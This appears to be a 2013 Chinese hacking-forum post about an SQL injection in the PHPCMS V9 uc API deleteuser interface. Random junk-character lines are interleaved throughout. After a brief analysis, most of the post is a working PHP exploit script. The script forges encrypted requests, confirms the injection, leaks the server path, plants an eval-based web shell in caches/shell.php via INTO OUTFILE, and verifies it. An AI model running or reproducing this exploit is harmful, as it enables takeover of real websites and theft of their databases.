中国网络渗透测试联盟
标题:
PHPCMS V9 uc API SQL注入漏洞
[打印本页]
作者:
admin
时间:
2013-2-9 01:22
标题:
PHPCMS V9 uc API SQL注入漏洞
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
& p8 v: V2 N8 C" C8 |4 `' i
$ {' s- q& k' b# \9 ^$ G
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
. l) X, t' m' N( O7 q8 U
# I) T8 x! \+ T+ d% n5 O
漏洞分析:
) ? ?6 y. ?4 M! K2 I
1.未启用ucenter服务的情况下uc_key为空
/ {. o, w4 t7 \( F( ~7 z/ Q( b
define('UC_KEY', pc_base::load_config('system', 'uc_key'));
8 C: W0 e0 q' U I n
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
" O/ A& f( W- {: q* ~ T7 g6 `% ]
public function deleteuser($get,$post) {
6 S; @( Q' Z; a9 {" d
pc_base::load_app_func('global', 'admin');
% ?$ e" U" U: V/ `' y' a
pc_base::load_app_class('messagequeue', 'admin' , 0);
! N; U/ s% T# Z8 T6 o6 d c9 B
$ids = new_stripslashes($get['ids']);
0 a1 ]& V8 p# @* e3 S) T; `5 T) B2 X
$s = $this->member_db->select("ucuserid in ($ids)", "uid");
1 u+ u$ Y6 a, a/ A. l. Y) M$ {: J
SQL语句为
( l: A5 j3 v) o4 b
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
4 K) f3 G4 H2 y2 U
f5 o) I' Z5 i) M* G& U
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
) ]5 N7 e8 g Y( C. R
<?php
. |- z1 T: j. i2 L/ T6 z+ I
print_r('
. w7 }7 Y) _0 s8 u- X7 J* m. m
---------------------------------------------------------------------------
' Q% W1 Y b% K0 F
PHPcms (v9 or Old Version) uc api sql injection 0day
1 W7 h! l$ g# i: p% X
by rayh4c#80sec.com
" ~9 N! }6 X' S
---------------------------------------------------------------------------
' C6 C0 q! S2 Z+ Z& [
');
, x" h l2 L+ ^* ` g B
. Z0 X- }% |& Q$ K8 C& X' K
if ($argc<3) {
( `: }( `3 X0 r$ C E$ H0 {. N
print_r('
1 F2 h# G' s* }% _
---------------------------------------------------------------------------
0 k, N4 r1 J; `5 t6 t8 v" D
Usage: php '.$argv[0].' host path OPTIONS
" u4 Y5 x0 v, y( s4 L
host: target server (ip/hostname)
& R P) [2 N+ Z6 W
path: path to phpcms
! S* d2 n: y" C( C0 g$ i% \9 ^
Options:
4 | D" @& {1 q& I; ?+ ]
-p[port]: specify a port other than 80
5 B. n; }+ C7 ?0 B, ~
-P[ip:port]: specify a proxy
* N! A, K- Y5 f( N' F$ }/ d, D, t! z
Example:
7 K5 B+ w( |- R ~
php '.$argv[0].' localhost /
+ G7 h0 M! Z0 h2 U4 j. I
php '.$argv[0].' localhost /phpcms/ -p81
# c; L' u# J4 v( R
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
9 E0 F4 M4 H- y& v) a* Z4 V) ?$ V
---------------------------------------------------------------------------
9 E# u" J/ o3 f; Q
');
, Z3 T" K/ y* a7 v% F1 T% w. n
die;
7 X2 |! y$ E! ?/ K' g! U! K: y
}
2 M; B+ n) h3 W. }
8 T* k% o. E3 H! e9 f
error_reporting(7);
) d% f8 A8 ]0 m; l! g
ini_set("max_execution_time",0);
! B( j) C/ u6 ?( m _- Y/ S( T
ini_set("default_socket_timeout",5);
9 k$ U3 p0 F3 Z
6 s `' \% _# o& J: H6 ]9 L
function quick_dump($string)
" q2 j' a4 q; t! n3 ]
{
6 y" B7 x. P6 a& R$ i+ `
$result='';$exa='';$cont=0;
: h9 Q* F: _; X$ ]2 n
for ($i=0; $i<=strlen($string)-1; $i++)
4 Y" U5 @( t7 {' `" p3 C9 v
{
/ M( \! x. {" s4 p' P- ?! j
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
) g+ R/ k ?+ {6 e
{$result.=" .";}
: U i( b' _0 ^9 {/ N8 m- ?8 ~9 w0 O
else
: \3 [' u1 _( ^
{$result.=" ".$string[$i];}
) k j8 x& G! g5 T6 j1 G7 b
if (strlen(dechex(ord($string[$i])))==2)
4 E' N! Q& P. X G+ {! `/ G) ~
{$exa.=" ".dechex(ord($string[$i]));}
9 l' V2 t$ n/ L/ N+ c
else
8 s1 j3 D) y. f9 m1 J# I+ Z. |
{$exa.=" 0".dechex(ord($string[$i]));}
/ _8 M( u$ l; z. P( G' Q3 h
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
" P3 I, }+ f6 d7 S
}
9 ]1 A, B& B$ f& P
return $exa."\r\n".$result;
$ R4 |5 v+ d4 m7 q: f
}
% G/ e6 L. t0 X, M2 `& z4 b& C; o) `
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
' f: W G3 X N4 n$ }* }& P/ F1 x
% S. U0 ^* n0 X3 S% Q6 H
function send($packet)
1 }0 l! \ X: | }2 j
{
9 y. P9 l Y9 t" h& @2 Y
global $proxy, $host, $port, $html, $proxy_regex;
3 n \5 a9 ]' ~' F) k
if ($proxy=='') {
! R3 p0 F, }" |* r- U. \% F
$ock=fsockopen(gethostbyname($host),$port);
9 D/ O. l% D5 I8 v9 \) b- h+ N
if (!$ock) {
/ [& l* k: P+ A( Z4 z
echo 'No response from '.$host.':'.$port; die;
3 ~- k+ h. D& ?' C( z
}
) o7 u8 y! b+ G2 o; q7 j
}
# E5 \" T9 `. x/ \" p
else {
7 l) W5 f9 N8 z
$c = preg_match($proxy_regex,$proxy);
6 s5 R$ C j. t# ?
if (!$c) {
6 X/ E$ t* F; p" d
echo 'Not a valid proxy...';die;
2 S$ l+ w$ V6 U5 s/ x% k, t
}
+ D& n0 _4 C+ N, C: C: c- m
$parts=explode(':',$proxy);
, l) Z" B) B3 g) F
$parts[1]=(int)$parts[1];
' ~0 {9 r9 _8 q" R
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
/ ?1 _- I" R9 b" n' ?" y
$ock=fsockopen($parts[0],$parts[1]);
$ o/ _' y- D% Z: \* i7 k: d
if (!$ock) {
! n0 W# ?9 D& b9 A0 M, [
echo 'No response from proxy...';die;
. o* W2 h) R& r. O @
}
5 ]5 U3 z; c: m, k
}
, N. v a% o" B7 i* p
fputs($ock,$packet);
; c& T( ^! ?7 n& z/ @
if ($proxy=='') {
( i/ L. ]+ o' s* C
$html='';
& p' n" F1 n$ x( n
while (!feof($ock)) {
4 G, N0 A6 C9 C
$html.=fgets($ock);
+ ^" e6 o# X; f# t! m5 K
}
# I5 j& R2 r- X) M
}
% [( A& T }2 n f) y
else {
' l8 ]& e- G; q# G. U
$html='';
8 ?% E" z6 i4 k0 A3 y3 M$ v
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
+ m2 L2 n5 B9 H& i
$html.=fread($ock,1);
9 S" ~5 J, |4 x
}
) L1 q! g: E! w! _
}
X/ z* t' Y# V+ `7 y" U9 u
fclose($ock);
2 p* W1 Y& s1 T( m+ N9 A
}
% Q, w+ x" p2 P8 E. Q, C! m
! F& _8 c2 C- v
$host=$argv[1];
# X" A# ?! P7 @/ e2 r$ h8 h6 R. ?
$path=$argv[2];
( z3 B. B# R2 H) g( @7 W. ], j" q
$port=80;
8 m2 x0 E( n0 J" _* ]+ ^$ Z/ w
$proxy="";
4 a2 G& t0 |6 R/ L3 x. s# Y0 X) R
for ($i=3; $i<$argc; $i++){
* B- D+ {( c% l
$temp=$argv[$i][0].$argv[$i][1];
3 e5 f. G! e$ Q" \; n b+ p" f' A
if ($temp=="-p")
$ s4 I0 G' ?# S, c& n5 f. J
{
1 |0 M" T5 Z7 g/ O) u( g
$port=(int)str_replace("-p","",$argv[$i]);
4 b" @' k# u, ]5 O) T$ ~( ?* x
}
7 i, F+ z+ ?6 t' |
if ($temp=="-P")
: e9 P7 h( C- C' b! b
{
j4 X" O3 [, J# H* ~/ r. x
$proxy=str_replace("-P","",$argv[$i]);
$ z U+ Q( j$ l: ~
}
6 q& ~8 }5 l8 V
}
( {, q( S4 G, {) c
: Q, U2 W* D$ K0 y* i' r
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
" z7 h1 L% {1 ]! G
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
# m, O" v) b% a- }' B5 n# q0 G
: O- n* D# h8 {0 @5 x
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
8 ~4 j: o* `& l+ n8 B
2 E; o) n7 ~9 u+ B# ?. p; \# ?
$ckey_length = 4;
- s9 U1 s' [9 }3 C+ q- W0 {
6 W* U, }: T- M6 x6 z
$key = md5($key ? $key : '');
% T' f- I2 _' ^/ I0 ], A
$keya = md5(substr($key, 0, 16));
* _+ y. C6 g1 x9 I9 m
$keyb = md5(substr($key, 16, 16));
) e! j, N0 i0 U$ {; c
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
, o* k0 z( t; p! \: Q d
8 r0 Z, i, N3 D& i! X0 N
$cryptkey = $keya.md5($keya.$keyc);
1 \5 \4 s: ~' m: Z% F( N
$key_length = strlen($cryptkey);
% i: T9 ~ Y9 W' N9 o# g, ?
2 Z3 s/ N) N+ }4 f
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
9 E( U( y! S, [
$string_length = strlen($string);
% w7 K" o$ }) w7 p
! g j; Y# V! \6 M
$result = '';
8 ?. t3 n G/ Z
$box = range(0, 255);
6 B0 I+ N5 } d7 v! k
& Q, d7 t0 I. n9 Q5 [
$rndkey = array();
! g" l, f; E2 h( Y5 i5 |7 v* T* q
for($i = 0; $i <= 255; $i++) {
8 ]6 p. J& `* E( N
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
9 ]6 v4 o+ Q' H( I2 r5 K! d( w
}
: D/ s; p7 B W+ K# Q# [
$ w) |1 x& }, ^3 p2 x* ^. x
for($j = $i = 0; $i < 256; $i++) {
7 M2 q4 ?; s) U* s
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
. K3 |+ M# O# g- D# t
$tmp = $box[$i];
' w7 q+ B% g* E/ y
$box[$i] = $box[$j];
. n: p& J/ V2 X) A' m
$box[$j] = $tmp;
' n3 i9 n9 e( _5 n# D$ i
}
/ b+ i3 j6 v! R- @/ i
4 b8 l5 Q: ~9 ]/ _$ H% Y6 j
for($a = $j = $i = 0; $i < $string_length; $i++) {
0 _& R2 ^" t7 ?5 _2 o. s D
$a = ($a + 1) % 256;
7 J! e9 v5 F5 i3 `" u2 Q
$j = ($j + $box[$a]) % 256;
3 ]; G6 W# d; }! j
$tmp = $box[$a];
3 x1 b* M" I* F7 U, v$ H
$box[$a] = $box[$j];
& k& t! V2 L7 s" s7 Y z6 q
$box[$j] = $tmp;
1 Z, w# M4 {2 R, V4 `) e9 M
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
- T* u* b0 y- ~2 A( S; g
}
, c- g* Z6 C; ~0 G0 m9 W! {% E4 P
1 }; ^0 F" o4 z0 ~2 h2 v
if($operation == 'DECODE') {
( {. R L; s0 x9 n9 Q; \
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
8 ^) C7 N8 F1 r& a1 ], O3 t
return substr($result, 26);
; `/ k. ^- Y d9 j1 l+ w$ G- D
} else {
& w( U8 Z: `* V4 v+ B
return '';
- Z* ]1 y/ _# j3 M' s0 f7 v
}
2 K2 `& U" f8 ]# @
} else {
( {. d6 U- N: R" v/ \4 k& [: m& W
return $keyc.str_replace('=', '', base64_encode($result));
E2 B' V9 G! w. E
}
1 U) T: v1 D/ l$ }& I% b' o
O$ I8 U4 C; E' a
}
! A1 S& c& C n, u) g
1 Z* v1 ]. n2 l+ c+ ~- ]
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
- z4 I1 q! d/ J+ K# z
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
g' I0 l9 L! B& R9 Z- _& a$ I
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
5 o1 }! Y4 f9 L9 [/ Q
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
# w) K% T* |5 C) M( I
$packet.="User-Agent: Mozilla/5.0\r\n";
0 {6 c6 U4 w; E5 Y) t; S+ ~# }0 S
$packet.="Host: ".$host."\r\n";
2 t1 c9 L4 n- I4 I& f, }4 j) u9 F& Y
$packet.="Connection: Close\r\n\r\n";
) Q9 m; z* S8 k2 A
send($packet);
0 c% ^7 K6 D5 E* k: _; J0 R
if(strpos($html,"MySQL Errno") > 0){
7 O- L5 F1 `: |# d) _! t! p. X
echo "[2] 发现存在SQL注入漏洞"."\n";
8 m! e0 c: ~ h( P
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
% I- f/ Q" {1 U( `8 P, ?" m
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
5 n. H0 \2 F& H, z7 p7 f
$packet.="User-Agent: Mozilla/5.0\r\n";
7 C% y0 F" H2 F( O v6 |: a' a
$packet.="Host: ".$host."\r\n";
' E! n/ k( i* w6 d
$packet.="Connection: Close\r\n\r\n";
, c3 S+ s$ W9 Y9 e+ v2 n/ \! l8 V
send($packet);
' P9 `5 k9 C0 |" ]/ ~
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
" b9 p7 F4 e& c" Q4 ?6 J& [8 v% m
//print_r($matches);
; S* r) J" l. v7 {6 E( o3 F. O
if(!empty($matches)){
# G s$ ]% C ]. k( w
echo "[4] 得到web路径 " . $matches[0]."\n";
7 I; \3 o) ^; Z8 B9 e
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
# g( o# z. Y2 l, \) w
$SQL = "time=999999999999999999999999&ids=1)";
9 o4 A. B+ ~, Z1 D' D
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
2 Z* {7 P# l: |
$SQL.="&action=deleteuser";
5 T) _, U4 t& @1 K
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
" ~" C- n- c+ h ?, |* u
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
# p! y# _, _, `3 K# E
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
9 d- [/ I! N8 q ^! W) i+ y5 b) J- }
$packet.="User-Agent: Mozilla/5.0\r\n";
8 I, [; S1 i, S6 L) O* s. ~, L. G* ]; B
$packet.="Host: ".$host."\r\n";
0 L {/ C" k( V* ]/ v3 i) ~
$packet.="Connection: Close\r\n\r\n";
% |0 f, w$ _; e7 F; \: u
send($packet);
0 ~( e" W3 f5 `) m: E, |- L% x
if(strpos($html,"Access denied") > 0){
% L/ p" g0 o% r7 i. r3 H, G* D
echo "[-] MYSQL权限过低 禁止写入文件
";
% B# Q, R ~' i$ v5 g. ~
die;
8 Q6 Y5 Z# j/ f% l+ V- i
}
! }& S7 `4 J; |
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
: Y$ G% E2 E2 x+ a; P" }' V! Z2 x
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
5 j7 E5 l" q n
$packet.="User-Agent: Mozilla/5.0\r\n";
8 z# y: L/ D: ~+ q z8 x- z* a6 _
$packet.="Host: ".$host."\r\n";
- I- H |0 @1 k! R) E; m! n
$packet.="Connection: Close\r\n\r\n";
1 `+ X, a+ P' Z) B7 ~
send($packet);
3 o+ d1 h6 I* l7 U4 P7 |6 Y. J: A, n% p% T
if(strpos($html,"<title>phpinfo()</title>") > 0){
$ [5 w/ ]9 x1 B6 K* M" Y. F- p0 w. D$ E
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it
";
7 q2 g6 Q& {) C" A6 q: N, Z6 n7 G
}
! N' P# I& |9 Z2 e' u/ J+ t% Y
}else{
?, v$ |- o7 q, Y6 \' X* _' v
echo "[-]未取到web路径
";
! p, h( ^" X2 H6 @3 B8 _
}
a* n ?3 b9 P7 D
}else{
/ S& L& p& i" r' r; B, v! z5 J
echo "[*]不存在SQL注入漏洞"."\n";
& T! P% X( @; x2 t; S8 W; l1 V
}
. J m* B' {' w* u
% g$ B" o4 g O2 f" ~
?>
$ Z: s0 e4 j& r2 Q0 p" y
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2